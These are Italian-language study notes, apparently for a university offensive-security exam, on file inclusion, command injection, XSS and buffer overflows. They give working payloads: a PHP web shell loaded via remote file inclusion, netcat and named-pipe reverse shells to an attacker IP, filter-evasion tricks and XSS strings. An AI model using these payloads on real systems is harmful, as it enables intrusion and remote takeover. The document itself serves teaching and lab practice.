Come già accennato, questa è la versione base del concetto, in cui andiamo semplicemente ad inserire un path assoluto o relativo come parametro GET nell'URL, in modo da stamparlo. Solitamente il file usato per dimostrare questa vulnerabilità è `/etc/passwd` (su Linux almeno).

Basic LFI

Se la funzione backend prende solo e soltanto il parametro GET allora basta mettere il nome del file:

```
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd
```

Path Traversal

Se a backend viene messo un prefisso al parametro GET (metti per esempio `./languages/`), allora bisogna usare i path relativi:

```
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
```

Questo funziona perchè partiamo dalla cartella indicata dal prefisso (`./languages/`) e andiamo "all'indietro" mediante i `../`. Proprio per questo si chiama Path Traversal.

NOTA Lo shortcut `../` è fatto in modo che se arrivi a `/` non va più indietro, quindi non c'è bisogno di preoccuparsi di "quanto indietro esattamente bisogna andare": basta esagerare.

Filename Prefix

Se a backend viene messo un prefisso che NON è una cartella (per esempio `lang_`) la situazione è un po' più incerta: il metodo qui consiste nel far partire il nostro parametro con uno `/` in modo che l'OS riconosca il prefisso come cartella (`lang_/`). Tuttavia ciò funziona solo nel momento in cui la cartella in questione esiste veramente nel file system.

DOMANDA In questo esempio, ovvero `lang_/`, la cartella in questione viene cercata dove? Cioè viene considerato path assoluto (`/lang_/`) o relativo (`./lang_/`)?

File Extensions

Spesso il parametro GET è il nome del file senza l'estensione, che viene aggiunta a backend. Questo, oltre a rendere più puliti gli URL, impedisce di fare una LFI per come le abbiamo viste ora, dato che `/etc/passwd` diventerebbe per esempio `/etc/passwd.php`. Vedremo le possibili soluzioni in seguito.

Second-Order Attacks

Questo tipo di attacchi è identico ai precedenti concettualmente, semplicemente il modo in cui viene caricato il payload malevolo è diverso: invece di inserirlo nell'URL direttamente, si "avvelena" un valore che l'applicazione web salva e poi utilizza in un secondo momento. L'esempio fatto nel corso di HTB è, trovato un punto dell'applicazione web in cui viene usato come parametro l'username, il creare un utente con username `"../../../../etc/passwd"`.

2.2.2 Basic Filters Bypasses

Vediamo quali sono i filtri più comuni applicati per evitare le FI, e come bypassarli.

Non-Recursive Path Traversal Filters

Uno dei metodi logicamente più immediati è eliminare tutte le istanze di `../` dal parametro GET. Tuttavia, se questo processo avviene in modo non ricorsivo (quindi una volta,

o comunque un numero determinato di volte) la soluzione è estremamente semplice, ovvero fare in modo di ottenere una nuova stringa `../` a seguito dell'eliminazione di quella esistente (con `....//`):

```
http://<SERVER_IP>:<PORT>/index.php?language
=....//....//....//....//etc/passwd

# Con un filtro che elimina tutte le stringhe ../ otteniamo:

http://<SERVER_IP>:<PORT>/index.php?language=../..../..../etc/
passwd
```

NOTA La stringa `....//` non è l'unica possibile, ce ne sono molte altre, come `..././` e `....\.`

URL Encoding

Un controllo possibile, che è ancora più stringente di quello appena visto, è impedire l'uso dei caratteri `/` e `..`. In se è un'ottima idea, eccetto che in alcuni contesti (soprattutto se meno recenti) a seconda di a che livello è implementato e come il filtro esso può essere bypassato mediante semplice URL encoding. In altre parole, se invece di fornire una stringa `../` usiamo la sua forma URL encoded `%2e%2e%2f`, se il programma prima effettua il controllo e solo dopo la decodifica il filtro è stato bypassato.

NOTA Per più dettagli su come bypassare filtri sull'URL vedi la parte delle Command Injections.

Approved Paths

Un altro filtro che spesso viene applicato è quello di verificare che il path del file richiesto sia dentro una determinata cartella (usando una RegEx). Anche questa è un'opzione valida, ma se non si implementa correttamente la vulnerabilità resta: il concetto è identico alla sezione Path Traversal vista in precedenza, con la sola differenza che va fatta una prima fase di navigazione tra le pagine per scoprire qual è il path della cartella "approvata", dato che in questo caso siamo noi a doverlo mettere direttamente nel parametro GET (prima veniva aggiunto a backend).

Appended Extension

Discutiamo qui la sezione vista in precedenza File Extensions. Molte applicazioni applicano questo tipo di filtro, e nelle versioni aggiornate di PHP ecc questo blocco è quasi impossibile da superare. Detto questo, nelle suddette condizioni (es: PHP < 5.4) ci sono due possibili metodi di aggirare questo tipo di filtro:

- **Path Truncation:** Consiste nell'allungare il path fornito con migliaia di `./` fino ad arrivare ai 4096 byte che PHP aveva dato come lunghezza massima del path. Per intenderci, fornendo un path lungo esattamente 4096 byte i 4 byte della stringa `.php` verrebbero tagliati.

- **Null Byte:** In linguaggi di basso livello come C, su cui PHP è basato, il "Null Byte" (%00) è un carattere speciale che indica il fine stringa. Aggiungendolo dunque alla fine del path fornito si andava ad evitare che i 4 byte dell'estensione `.php` verrebbero letti.

NOTA Questa parte non penso sia parte del programma d'esame.

2.2.3 Remote File Inclusion

La Remote File Inclusion si verifica quando l'applicazione web non solo permette di includere file arbitrari (come nella LFI), ma accetta anche URL esterni. Questo ci permette di far caricare e interpretare al server vittima un nostro script malevolo (es. una reverse shell in PHP) ospitato su una nostra macchina.

Requisito Fondamentale (su PHP):

Affinché funzioni, la configurazione `php.ini` del server bersaglio deve avere `allow_url_include = On`.

Come si esegue:

1. **Creare il payload:** Sulla nostra macchina, creiamo uno script malevolo. Ad esempio un file `shell.php` che esegue comandi passati via GET:

```
<?php system($_GET['cmd']); ?>
```

2. **Hostare il file:** Dobbiamo esporre questo file tramite un server web sulla nostra macchina (es. sulla porta 80 o 8000). Python è comodissimo per questo:

```
sudo python3 -m http.server 80
```

3. **Inviare il payload:** Sulla macchina vittima, passiamo l'URL del nostro server come parametro vulnerabile:

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<NOSTRO_IP>/shell.php&cmd=whoami
```

In questo modo il server scaricherà `shell.php` dalla nostra macchina, lo includerà e la funzione `system()` eseguirà il comando `whoami`!

2.2.4 Automated Scanning

Invece di provare manualmente decine di combinazioni per il Path Traversal (`../`, `../../../../`, `%2e%2e%2f`, ecc.), diamo in pasto a un tool automatico una lista di payload pronti (Wordlist). Il tool li prova tutti in pochi secondi e ci evidenzia quale ha avuto successo.

Where to find Wordlists:

Sulla macchina Parrot (usata in laboratorio) è preinstallato il pacchetto `SecLists`. I payload per le File Inclusion si trovano in genere in: `/usr/share/seclists/Fuzzing/LFI/` (es. il file `LFI-Jhaddix.txt` o simili). Se `SecLists` è troppo dispersivo o lento da eseguire tutto, puoi crearti un file di testo (es. `lfi_list.txt`) e incollarci dentro a mano 15-20

payload chiave presi dal cheatsheet (es. null byte, url encoding, path truncation) e fuzzare solo con quelli.

Fuzz Faster U Fool

ffuf (Fuzz Faster U Fool) è uno strumento da riga di comando.

Basic Command:

```
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://<SERVER_IP>:<PORT>/index.php?language=FUZZ"
```

- **-w:** Specifica il percorso della tua wordlist.
- **-u:** Specifica l'URL bersaglio.
- **FUZZ:** È la parola chiave obbligatoria. Dice a ffuf **dove** inserire esattamente i payload della wordlist.

Handling False Positives:

Se il server risponde sempre con un 200 OK anche quando il payload fallisce (perché magari carica la pagina di default vuota), ffuf ti mostrerà *tutti* i tentativi come "successo". Per trovare quello giusto, devi guardare la dimensione della pagina (colonna **Size**).

1. Lancia il comando base e fermalo subito (**Ctrl+C**).
2. Guarda la "Size" dei payload falliti (es. **Size: 1250**).
3. Rilancia il comando aggiungendo il parametro **-fs** (Filter Size) per ignorare le risposte di quella dimensione:

```
ffuf -w wordlist.txt -u "http://<SERVER_IP>/index.php?language=FUZZ" -fs 1250
```

In questo modo, il terminale ti stamperà **solo** il payload che ha fatto cambiare dimensione alla pagina (cioè quello che ha caricato il contenuto aggiuntivo di `/etc/passwd`).

Metodo 2: Interfaccia Grafica con Burp Suite Intruder

Utile se hai già Burp aperto per intercettare le richieste HTTP e preferisci un approccio visivo.

Procedura Step-by-Step:

1. **Intercetta la richiesta vulnerabile** nella scheda *Proxy* di Burp (es. una richiesta GET con `?language=it`).
2. Fai clic con il tasto destro sulla richiesta e seleziona **Send to Intruder** (**Ctrl+I**).
3. Vai nella scheda **Intruder -> Positions**:
 - Fai clic sul pulsante **Clear §** (sulla destra) per rimuovere tutti i marcatori automatici.

- Evidenzia solo il valore che desideri sottoporre a fuzzing (es. evidenzia `it` in `?language=it`).
- Fai clic su **Add \$**. L'URL dovrebbe ora apparire così: `?language=$it$`.

4. Vai nella scheda **Payloads**:

- Sotto la sezione *Payload Options [Simple list]*, fai clic su **Load** e seleziona il file della tua wordlist.
- Deseleziona la spunta su "Payload Encoding" in fondo per evitare che Burp codifichi caratteri come `/` e `..`.

5. Fai clic su **Start Attack** (in alto a destra).

Come leggere i risultati: Si aprirà una nuova finestra contenente una tabella. Se i codici di stato HTTP sono tutti 200, ignorali. Fai clic sull'intestazione della colonna **Length** per ordinare le risposte in base alla dimensione. La richiesta che presenta una lunghezza (*Length*) significativamente disallineata rispetto alle altre rappresenta il payload andato a buon fine!

2.3 Command Injection

Questa vulnerabilità si verifica quando l'applicazione web passa l'input dell'utente direttamente a una shell di sistema senza i corretti controlli sull'input stesso.

Tipicamente l'input fornito dall'utente mediante la WebApp è un parametro passato ad un comando in una shell (es: fornire l'IP per il comando `ping`). In tale situazione si tratta di riuscire a concatenare un secondo comando al primo (es: `ping IP; cat /etc/passwd`).

2.3.1 Metodologia di Attacco Step-by-Step

1. **Analisi del comportamento standard:** Identifica l'input atteso. Se inserendo `file.txt` il server restituisce le statistiche del file, il comando interno è probabilmente `stat file.txt`.
2. **Rilevamento dei caratteri filtrati:** L'obiettivo è individuare una "versione" valida del payload che vogliamo inviare. Per farlo si può andare a tentativi direttamente col payload o iniziare inviando i caratteri separatori uno alla volta per capire cosa viene bloccato, creando un unico payload solo alla fine.
3. **Invio del payload:** Una volta strutturato il payload, lo inviamo. Se lo scenario è In-Band l'output verrà mostrato direttamente a schermo; se lo scenario è Blind, sarà necessario procedere tramite il canale alternativo descritto nella sezione successiva.

2.3.2 Caso Particolare: Reverse Shell

Quando ci si trova in uno scenario *Blind* (l'output del comando non è visibile nella risposta HTTP), l'obiettivo principale è costringere il server a connettersi all'attaccante e passargli il controllo di una shell. Prima di inviare il payload, è fondamentale assicurarsi di avere un listener TCP in ascolto sulla propria macchina d'attacco tramite il comando: `nc -lvnp 4444`.

Opzione 1: Netcat con flag -e (Iniezione Diretta)

Se la macchina vittima dispone di una versione classica o non protetta di Netcat, è possibile reindirizzare la shell direttamente specificando l'eseguibile tramite il flag `-e`:

```
; nc <IP_ATTACCANTE> 4444 -e /bin/bash
```

Opzione 2: Named Pipe FIFO (Bypass per Netcat Moderni/Protetti)

Nelle distribuzioni Linux moderne, la versione standard di Netcat viene compilata senza il supporto al flag `-e` per motivi di sicurezza. Per superare questa mitigazione, si utilizza un payload avanzato basato su una **Named Pipe (FIFO)**, che permette di ridirigere i flussi di input e output creando un ciclo continuo:

```
; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <
IP_ATTACCANTE> 4444 >/tmp/f
```

Di seguito viene analizzato il funzionamento dettagliato del comando, componente per componente:

- `;` → È il separatore di comandi iniziale. Serve a chiudere bruscamente l'istruzione legittima avviata dal server web e a imporre l'esecuzione immediata del nostro payload, a prescindere dal successo o dal fallimento del comando precedente.
- `rm /tmp/f` → Rimuove in modo preventivo il file chiamato `f` all'interno della directory temporanea `/tmp/`, qualora fosse già presente a causa di un precedente tentativo di attacco fallito. Questo evita collisioni ed errori nel passaggio successivo.
- `mkfifo /tmp/f` → Crea una *Named Pipe* (chiamata anche FIFO - First In, First Out) con il nome `f` nella directory `/tmp/`. A differenza dei file normali, una named pipe sul filesystem Linux agisce come un canale di comunicazione bidirezionale in tempo reale tra processi.
- `cat /tmp/f` → Legge costantemente il contenuto che entra all'interno della pipe `/tmp/f` e lo spinge verso l'esterno sul proprio canale di Standard Output (*stdout*).
- `|` → È l'operatore di *pipe* classico della shell Linux. Prende lo Standard Output del comando a sinistra (`cat`) e lo incanala direttamente nello Standard Input (*stdin*) del comando alla sua destra.
- `/bin/sh -i` → Avvia un'istanza della shell di sistema (`sh`) in modalità interattiva (`-i`). Essendo collegata alla pipe tramite l'operatore precedente, questa shell riceverà ed eseguirà come comandi operativi tutto ciò che transita dentro `/tmp/f`.
- `2>&1` → Redirige il canale dello Standard Error (file descriptor 2) all'interno del canale dello Standard Output (file descriptor 1). In questo modo, se si digita un comando errato o si riceve un errore di sistema nella shell remota, l'errore verrà trasmesso indietro all'attaccante invece di perdersi localmente sul server web.
- `| nc <IP_ATTACCANTE> 4444` → Riceve l'output della shell interattiva (compresi i messaggi di errore) e lo passa a Netcat. Netcat apre una connessione di rete TCP *outbound* verso l'indirizzo IP dell'attaccante sulla porta specificata (es. 4444).

- `>/tmp/f` → Redirige lo Standard Output di Netcat (ovvero i comandi testuali che l'attaccante digiterà sulla propria macchina di controllo) e li scrive nuovamente all'interno della named pipe iniziale `/tmp/f`.

Meccanismo a Ciclo Continuo (Anello)

Il flusso dei dati forma un cerchio perfetto: l'attaccante invia un comando via `nc` → `nc` writes the command in `/tmp/f` → `cat` legge `/tmp/f` e lo passa alla shell `/bin/sh` → la shell esegue il comando → l'output del comando viene ripreso da `nc` e rispedito sullo schermo dell'attaccante.

2.3.3 Separatori di Comandi e URL Encoding

Poiché l'attacco avviene quasi sempre tramite richieste HTTP (GET o POST), **tutti i caratteri speciali devono essere mappati con il corretto URL Encoding** per evitare che il browser o il server web li interpretino in modo errato.

Carattere Shell	URL Encoded	Comportamento nella Shell
<code>;</code>	<code>%3B</code>	Esegue entrambi i comandi in sequenza ordinaria.
<code> </code>	<code>%7C</code>	Pipe: Invia lo stdout del primo comando allo stdin del secondo.
<code>&</code>	<code>%26</code>	Esegue il primo comando in background e passa subito al secondo.
<code>&&</code>	<code>%26%26</code>	Esegue il secondo comando SOLO SE il primo ha successo (exit code 0).
<code> </code>	<code>%7C%7C</code>	Esegue il secondo comando SOLO SE il primo fallisce (exit code <code>!= 0</code>).
<code>\n</code> (Newline)	<code>%0a</code>	A capo: Equivale a premere Invio. Spesso bypassa i filtri basati su regex primitive.
<code>`comando`</code>	<code>%60...%60</code>	Backtick: Esegue il comando in una subshell e sostituisce la stringa con l'output.
<code>\$(comando)</code>	<code>%24%28...%29</code>	Subshell: Equivalente moderno dei backtick (più facile da concatenare).

Tabella 2.1: Separatori di comandi e relative codifiche URL.

2.3.4 Tecniche di Evasione (Bypass dei Filtri)

Se il payload base (es. `; cat /etc/passwd`) viene bloccato, il server sta applicando dei filtri sull'input. Utilizzare le seguenti tecniche in ordine progressivo.

A. Bypass degli Spazi

Se il filtro blocca il carattere spazio (restituendo errori o troncando il comando):

B. Bypass del Nome del Comando (Evasione Stringhe "cat", "id", ecc.)

Se il filtro esegue un controllo testuale statico sulle parole chiave:

Tecnica Bash	URL Encoded	Esempio Pratico
Variabile IFS	<code>\${IFS}</code>	<code>cat\${IFS}/etc/passwd</code>
Ridirezione Input	<code><</code>	<code>cat</etc/passwd</code> (Funziona solo per comandi che leggono file)
Brace Expansion	<code>{cmd,arg1}</code>	<code>{cat,/etc/passwd}</code>

Tabella 2.2: Metodi di bypass per il blocco del carattere spazio.

Tecnica Shell	Meccanismo	Esempio Risultante
Apici intermedi	Vengono rimossi dalla shell prima dell'esecuzione dell'istruzione	<code>c'a't /etc/passwd</code>
Backslash	Invalida il matching statico della stringa sulle regex di controllo	<code>c\at /etc/passwd</code>
Variabili Vuote	Sfrutta i caratteri <code>\$@</code> o variabili d'ambiente non istanziate	<code>ca\$t /etc/passwd</code> o <code>ca\${x}t</code>
Concatenazione	Definizione ed esecuzione sequenziale di variabili locali	<code>X=ca; Y=t; \$X\$Y /etc/passwd</code>
Base64	Il comando viaggia interamente offuscato e viene decodificato al volo	<code>echo '...' base64 -d sh</code>

Tabella 2.3: Tecniche di offuscamento delle stringhe dei comandi.

C. Bypass del Path / Nome File (Evasione di `/etc/passwd`)

Se il filtro blocca l'accesso a file specifici o interdice l'uso della barra `/`:

- **Wildcard (* e ?):** La shell expands i caratteri prima di eseguire il comando.
 - `/etc/pass*` → punta a `/etc/passwd`
 - `/etc/passw?d` → punta a `/etc/passwd`
 - `/usr/bin/id` → `/usr/bin/i?`
- **Range di caratteri ([...]):**
 - `/etc/passw[a-z]d` → punta a `/etc/passwd`

2.3.5 Automazione Avanzata: Generazione Wordlist + ffuf

Per massimizzare l'efficienza nell'esame openbook, è possibile configurare lo script custom `cmd_obfuscator.sh` in modo che generi una lista pulita di payload offuscati (senza scritte decorative), salvando il risultato direttamente in una wordlist mirata per `ffuf`.

1. Preparazione della Wordlist personalizzata

Esegui lo script reindirizzando l'output su file:

```
./cmd_obfuscator.sh "cat /etc/passwd" > wordlist_cmd.txt
```

2. Attacco con ffuf (Fuzzing dell'endpoint vulnerabile)

Usa il fuzzer per inviare la lista di payload offuscati contro il parametro vulnerabile dell'URL.

```
ffuf -w wordlist_cmd.txt -u "http://10.3.3.1:5000/browse/stat?
    filepath=FUZZ" -fs 1250
```

- **Meccanismo:** ffuf sostituirà la parola chiave FUZZ con ogni singola riga della tua wordlist personalizzata.
- **Filtro -fs:** Fondamentale per nascondere le risposte di errore standard (es. se la pagina di errore o di blocco del server ha una dimensione fissa di 1250 byte, inserisci -fs 1250). L'unico payload che emergerà sarà quello che mostra a schermo il file, determinando una variazione della dimensione della risposta HTTP.

2.4 Cross-Site Scripting (XSS)

L'XSS funziona manipolando un sito web vulnerabile affinché restituisca JavaScript malevolo agli utenti. Quando il codice malevolo viene eseguito nel browser della vittima, l'attaccante può compromettere completamente la sua interazione con l'applicazione.

2.4.1 XSS Proof of Concept

È possibile confermare la maggior parte delle vulnerabilità XSS iniettando un payload che induce il browser a eseguire JavaScript arbitrario. È pratica comune usare la funzione `alert('XSS')` a questo scopo, perché è breve, innocua e difficile da ignorare quando viene eseguita con successo.

NOTA Da Chrome 92 in poi (20 luglio 2021), gli iframe cross-origin non possono chiamare `alert()`. In questo scenario si raccomanda di usare la funzione `print()` come alternativa.

2.4.2 Reflected XSS

Cos'è il Reflected XSS?

Il Reflected XSS è la forma più semplice di cross-site scripting. Si verifica quando un'applicazione riceve dati in una richiesta HTTP e li include nella risposta immediata in modo non sicuro.

Esempio: supponiamo che un sito abbia una funzione di ricerca che riceve il termine di ricerca in un parametro URL:

```
https://insecure-website.com/search?term=gift
```

L'applicazione riflette il termine nella risposta:

```
<p>You searched for: gift</p>
```

Un attaccante può costruire un attacco come questo:

```
https://insecure-website.com/search?term=<script>/* Bad stuff  
here... */</script>
```

Che produce la risposta:

```
<p>You searched for: <script>/* Bad stuff here... */</script></p>
```

Se un altro utente visita l'URL costruito dall'attaccante, lo script viene eseguito nel browser della vittima nel contesto della sua sessione.

Impatto del Reflected XSS

L'attaccante può indurre la vittima a fare una richiesta tramite link su siti controllati dall'attaccante, su altri siti che consentono la generazione di contenuti, oppure tramite email, tweet o altri messaggi. L'impatto del Reflected XSS è generalmente meno grave dello Stored XSS, poiché richiede un meccanismo di consegna esterno.

Come trovare e testare le vulnerabilità di Reflected XSS

Il test manuale prevede i seguenti passi:

1. **Testare ogni entry point.** Testare separatamente ogni entry point per i dati nelle richieste HTTP dell'applicazione, inclusi parametri nell'URL, nel corpo del messaggio, nel percorso del file URL e negli header HTTP.
2. **Inviare valori alfanumerici casuali.** Per ogni entry point, inviare un valore casuale univoco e verificare se viene riflesso nella risposta. Un valore alfanumerico casuale di circa 8 caratteri è normalmente ideale.
3. **Determinare il contesto della riflessione.** Per ogni punto in cui il valore appare nella risposta, determinarne il contesto: tra tag HTML, all'interno di un attributo, in una stringa JavaScript, ecc.
4. **Testare un payload candidato.** In base al contesto, testare un payload XSS iniziale che scateni l'esecuzione di JavaScript se riflesso senza modifiche.
5. **Testare payload alternativi.** Se il payload viene modificato o bloccato dall'applicazione, testare payload e tecniche alternative.
6. **Testare l'attacco nel browser.** Trasferire l'attacco in un browser reale per verificare che il JavaScript iniettato venga effettivamente eseguito.

2.4.3 Stored XSS

Cos'è lo Stored XSS?

Lo Stored XSS si verifica quando un'applicazione riceve dati da una fonte non attendibile e li include nelle successive risposte HTTP in modo non sicuro.

I dati possono essere inviati all'applicazione tramite richieste HTTP — ad esempio, commenti su post di blog, nickname in chat room, o dettagli di contatto in un ordine. In altri casi, i dati possono provenire da fonti non attendibili esterne, come messaggi ricevuti via

SMTP in una webmail, post sui social media o dati di traffico di rete.

Esempio: un'applicazione consente agli utenti di inviare commenti su post di blog:

```
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+
Montoya&email=carlos%40normal-user.net
```

Dopo l'invio, qualsiasi utente che visita il post riceve nella risposta:

```
<p>This post was extremely helpful.</p>
```

Un attaccante può inviare un commento malevolo come `<script>/* Bad stuff here... */</script>`: qualsiasi utente che visita il post riceverà quindi lo script malevolo nel browser.

Impatto dello Stored XSS

La differenza chiave tra Reflected e Stored XSS è che lo Stored XSS consente attacchi self-contained all'interno dell'applicazione stessa: l'attaccante inserisce l'exploit nell'applicazione e attende che gli utenti lo incontrino, senza dover trovare un meccanismo di consegna esterno.

Lo Stored XSS è particolarmente rilevante in situazioni dove la vulnerabilità colpisce solo utenti attualmente loggati: con lo Stored XSS, l'utente è garantito essere loggato quando incontra l'exploit, a differenza del Reflected XSS che richiede una temporizzazione fortunosa.

Come trovare e testare le vulnerabilità di Stored XSS

Il test manuale per lo Stored XSS richiede di testare tutti i rilevanti **entry point** attraverso cui i dati controllati dall'attaccante possono entrare nell'applicazione, e tutti gli **exit point** in cui quei dati potrebbero apparire nelle risposte.

Entry point includono:

- Parametri o altri dati nella query string e nel corpo dei messaggi URL.
- Il percorso del file URL.
- Header delle richieste HTTP.
- Qualsiasi route fuori-banda tramite cui un attaccante può consegnare dati all'applicazione (es. email in una webmail, tweet in un'app di marketing).

Exit point sono tutte le possibili risposte HTTP restituite a qualsiasi utente in qualsiasi situazione. Il primo passo è localizzare i collegamenti tra entry e exit point, operazione che può essere difficile perché:

- I dati inviati a un entry point potrebbero essere emessi da qualsiasi exit point.

- I dati memorizzati possono essere sovrascritti da altre azioni nell'applicazione.

Un approccio realistico consiste nel lavorare sistematicamente attraverso gli entry point, inviando un valore specifico in ciascuno e monitorando le risposte per rilevare i casi in cui il valore appare. Quando si identificano i collegamenti, ogni collegamento deve essere testato per rilevare se è presente una vulnerabilità Stored XSS.

2.4.4 DOM-based XSS

Cos'è il DOM-based XSS?

Le vulnerabilità DOM-based XSS si verificano quando JavaScript prende dati da una fonte controllabile dall'attaccante e li elabora in modo non sicuro direttamente nel browser, senza che il payload venga mai inviato al server.

Lo scenario classico sfrutta il **frammento dell'URL** (la parte dopo #): i browser non inviano al server la porzione dell'URL che segue il simbolo #, quindi il payload non è visibile nei log del server e non può essere filtrato lato server. Se il codice JavaScript della pagina legge `document.location.href` (o `location.hash`) e scrive quel valore nel DOM senza sanitizzarlo, il payload viene eseguito direttamente nel browser della vittima.

Esempio concettuale:

```
https://vulnerable-website.com/page#<img src=1 onerror=alert(1)>
```

Il codice JavaScript della pagina legge il valore dall'hash e lo scrive nel DOM (ad es. tramite `innerHTML`), eseguendo il payload lato client senza alcun passaggio dal server.

2.4.5 Contesti XSS

Quando si testa per Reflected e Stored XSS, un compito fondamentale è identificare il **contesto XSS**: la posizione nella risposta in cui appaiono i dati controllabili dall'attaccante e qualsiasi validazione eseguita su quei dati. In base al contesto si seleziona il payload appropriato.

XSS tra tag HTML

Quando il contesto XSS è testo tra tag HTML, è necessario introdurre nuovi tag HTML che inneschino l'esecuzione di JavaScript. Esempi utili:

```
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
```

XSS negli attributi di tag HTML

Quando il contesto XSS è nel valore di un attributo HTML, a volte è possibile terminare il valore dell'attributo, chiudere il tag e introdurre uno nuovo:

```
"><script>alert(document.domain)</script>
```

Più comunemente le parentesi angolari sono bloccate, quindi si può terminare il valore dell'attributo e introdurre uno nuovo che crei un contesto scriptabile, come un event handler:

```
" autofocus onfocus=alert(document.domain) x="
```

Se il contesto è nell'attributo `href` di un tag `anchor`, si può usare lo pseudo-protocollo `javascript`:

```
<a href="javascript:alert(document.domain)">
```

XSS nel JavaScript

Terminare lo script esistente

Nel caso più semplice, è possibile chiudere il tag `script` esistente e introdurre nuovi tag HTML:

```
</script><img src=1 onerror=alert(document.domain)>
```

Questo funziona perché il browser esegue prima il parsing HTML per identificare i blocchi di script, e solo successivamente il parsing JavaScript.

Rompere fuori da una stringa JavaScript

Quando il contesto XSS è all'interno di un letterale stringa tra virgolette, è spesso possibile uscire dalla stringa ed eseguire JavaScript direttamente:

```
'-alert(document.domain)-'  
';alert(document.domain)//
```

Alcune applicazioni aggiungono un backslash prima dei caratteri speciali per prevenire questo. Un attaccante può neutralizzarlo usando il proprio backslash: l'applicazione converte `'` in `\'`, ma il payload `\'` diventa `\\'` — il primo backslash neutralizza il secondo, e la virgoletta torna a essere un terminatore di stringa.

Quando certi caratteri sono bloccati, si può usare lo statement `throw` con un exception handler per chiamare funzioni senza parentesi:

```
onerror=alert;throw 1
```

Sfruttare la codifica HTML

Quando il contesto XSS è in JavaScript all'interno di un attributo tag con virgolette (come un event handler), è possibile usare entità HTML per aggirare i filtri. Se l'applicazione blocca i singoli apici, si può usare:

```
&apos;-alert(document.domain)-&apos;;
```

Il browser decodifica HTML il valore dell'attributo prima dell'interpretazione JavaScript, quindi le entità vengono decodificate come virgolette e l'attacco ha successo.

XSS nei template literal JavaScript

I template literal JavaScript usano la sintassi `${...}` per espressioni incorporate. Quando il contesto XSS è in un template literal, non è necessario terminarlo:

```
${alert(document.domain)}
```

Capitolo 3 - Binary Exploits

3.1 Introduzione e Concetti Base

Un buffer overflow si verifica quando i dati inseriti in un buffer superano la sua capacità allocata, andando a sovrascrivere la memoria adiacente. Sfruttando questa vulnerabilità e scrivendo dati mirati, è possibile sovrascrivere gli indirizzi di ritorno e dirottare il flusso di esecuzione del programma verso codice arbitrario.

Durante l'esecuzione, lo Stack (che contiene variabili locali e record di attivazione) cresce verso indirizzi di memoria decrescenti (verso il basso), mentre i buffer vengono riempiti verso indirizzi crescenti. Questa direzione opposta è il fulcro della vulnerabilità.

Controllo ASLR L'ASLR (Address Space Layout Randomization) randomizza gli indirizzi di memoria per prevenire questi attacchi. Prima di testare un exploit in laboratorio, verifica se è attivo con il comando:

```
cat /proc/sys/kernel/randomize_va_space
```

Se il valore restituito è 1 o 2, l'ASLR è attivo e l'exploit fallirà. Per disabilitarlo: `echo 0 > /proc/sys/kernel/randomize_va_space`.

Mettere a 0 il `randomize_va_space` è un'azione che il professore richiede *esplicitamente* di fare per l'esecuzione degli esercizi. Puoi e devi eseguirla, **anche** se richiede l'uso di `sudo`.

3.2 Registri CPU essenziali ed Endianness

Ai fini dell'esame e dell'exploitation pratica, i registri a 32 bit fondamentali dell'architettura Intel IA32 da tenere a mente sono tre:

- **EIP (Instruction Pointer):** Contiene l'indirizzo della successiva istruzione che la CPU deve eseguire. È il nostro bersaglio principale.
- **ESP (Stack Pointer):** Punta sempre alla cima attuale dello stack (l'indirizzo più basso occupato).
- **EBP (Base Pointer):** Punta alla base del frame corrente dello stack e serve come riferimento per le variabili locali.

Little-Endian:

L'architettura Intel IA32 utilizza la rappresentazione in memoria *Little-Endian*, il che significa che i byte meno significativi vengono memorizzati per primi (agli indirizzi più bassi). A livello pratico per l'esame: tutti gli indirizzi di memoria da iniettare nei payload vanno scritti invertendo l'ordine dei byte. Ad esempio, l'indirizzo `0x42434445` diventerà `\x45\x44\x43\x42`.

3.3 Strumenti Operativi: GDB e Perl

Il debugger GDB è lo strumento principale per analizzare il comportamento della memoria durante il crash. Di seguito i comandi vitali per risolvere gli esercizi:

- `b *main` oppure `break nome_funzione` → Inserisce un breakpoint alla funzione specificata.
- `run` → Esegue il programma (può prendere in input stringhe o script).
- `x/200xw $esp` → Ispeziona la memoria stampando 200 "word" in formato esadecimale a partire dalla posizione attuale di ESP.
- `p system / p exit` → Stampa l'indirizzo di memoria delle funzioni specificate.
- `info functions` → Mostra lo spazio di indirizzamento e l'indirizzo reale delle funzioni caricate.

Generazione Payload con Perl:

Per passare comodamente byte "grezzi" (raw) o lunghe sequenze di caratteri al programma vulnerabile, si utilizza Perl direttamente da riga di comando (spesso combinato con `run` in GDB):

```
# Genera una stringa di 100 'A'
$(perl -e 'print "A"x100')
```

Questo approccio è essenziale per generare velocemente il padding e concatenare gli indirizzi formattati in hex.

3.4 Ricognizione Iniziale e Reverse Engineering Base

All'esame spesso **non si ha il codice sorgente** dell'eseguibile vulnerabile. Prima di tentare un exploit o calcolare gli offset, è vitale mappare il funzionamento del binario sia staticamente che dinamicamente per scoprirne i segreti (come password nascoste).

3.4.1 Analisi Statica Rapida (strings)

Prima ancora di aprire il debugger, esegui sempre un'analisi delle stringhe hardcodate nel binario:

```
strings nome_binario
```

Questo comando stampa a schermo tutti i caratteri testuali leggibili. Spesso rivela password banali in chiaro o messaggi di successo/errore che aiutano a intuire la logica del programma senza dover leggere direttamente il codice macchina.

3.4.2 Analisi Dinamica: Il Metodo "Top-Down" (Workflow del Professore)

L'approccio professionale per analizzare un binario al buio non è lanciare comandi a caso o listare subito tutte le funzioni, ma seguire il flusso logico di esecuzione per scoprire l'albero delle chiamate.

1. **Test di Base:** Prima di aprire GDB, lancia il programma normalmente (es. `./secret ciao`) e successivamente con un input enorme (es. `perl -e 'print "A"x10000'`) per confermare l'effettiva vulnerabilità e ottenere il *Segmentation fault*.
2. **Disas del Main:** Apri GDB e parti sempre dalla radice: `disas main`. Ispeziona l'assembly per capire il flusso di base e individuare le chiamate alle sotto-funzioni scritte dall'autore (es. `call 0x... <check>`), ignorando per il momento chiamate di libreria note come `printf` o `strcpy`.
